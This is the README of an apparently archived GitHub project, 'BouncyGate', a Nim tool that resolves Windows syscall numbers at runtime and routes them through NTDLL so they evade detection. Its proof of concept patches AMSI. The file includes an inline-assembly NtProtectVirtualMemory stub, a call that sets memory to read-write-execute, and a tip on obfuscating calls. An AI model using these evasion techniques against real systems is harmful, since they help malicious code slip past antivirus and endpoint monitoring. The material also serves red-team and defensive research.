Skip to content
This repository has been archived by the owner on Apr 21, 2024. It is now read-only.

Latest commit

 

History

History
33 lines (24 loc) · 1.74 KB

README.md

File metadata and controls

33 lines (24 loc) · 1.74 KB

BouncyGate

This is a modified version of @zimawhit3's implementation of HellsGate in Nim, with additionally making sure that all syscalls go through NTDLL, by replacing the syscall instructions with a JMP to the syscall instruction in NTDLL that corresponds to the syscall being executed. The syscalls are then used to patch AMSI as a PoC.

See https://eversinc33.github.io/posts/avoiding-direct-syscall-instructions/ for an explanation.

If you would like to learn more about how HellsGate works, you can find smelly__vx's (@RtlMateusz) and am0nsec's (@am0nsec) paper at the Vx-Underground Github.

Install mingw 8.0.0-1, since the newest version has some issues related to relocation that make compilation impossible.

Usage

First, the syscall stub has to be defined:

proc NtProtectVirtualMemory(ProcessHandle: Handle, BaseAddress: PVOID, NumberOfBytesToProtect: PULONG, NewAccessProtection: ULONG, OldAccessProtection: PULONG): NTSTATUS {.asmNoStackFrame.} =
    asm """
        mov r10, rcx
        mov eax, `ntProtectSyscall`
        mov r11, `ntProtectSyscallJumpAddress`
        jmp r11
        ret
    """

Then the syscall number can be resolved at runtime and the syscall can be used afterwards:

var ntProtect = resolve_syscall("NtProtectVirtualMemory")
ntProtectSyscall = ntProtect.wSysCall
ntProtectSyscallJumpAddress = ntProtect.syscallJumpAddress # of course you can play around with the syscall jump addresses here and have it execute with the syscall fron a different function, to obfuscate your call
var status = NtProtectVirtualMemory(GetCurrentProcess(), &cs_addr, &p_len, cast[ULONG](PAGE_EXECUTE_READWRITE), &op)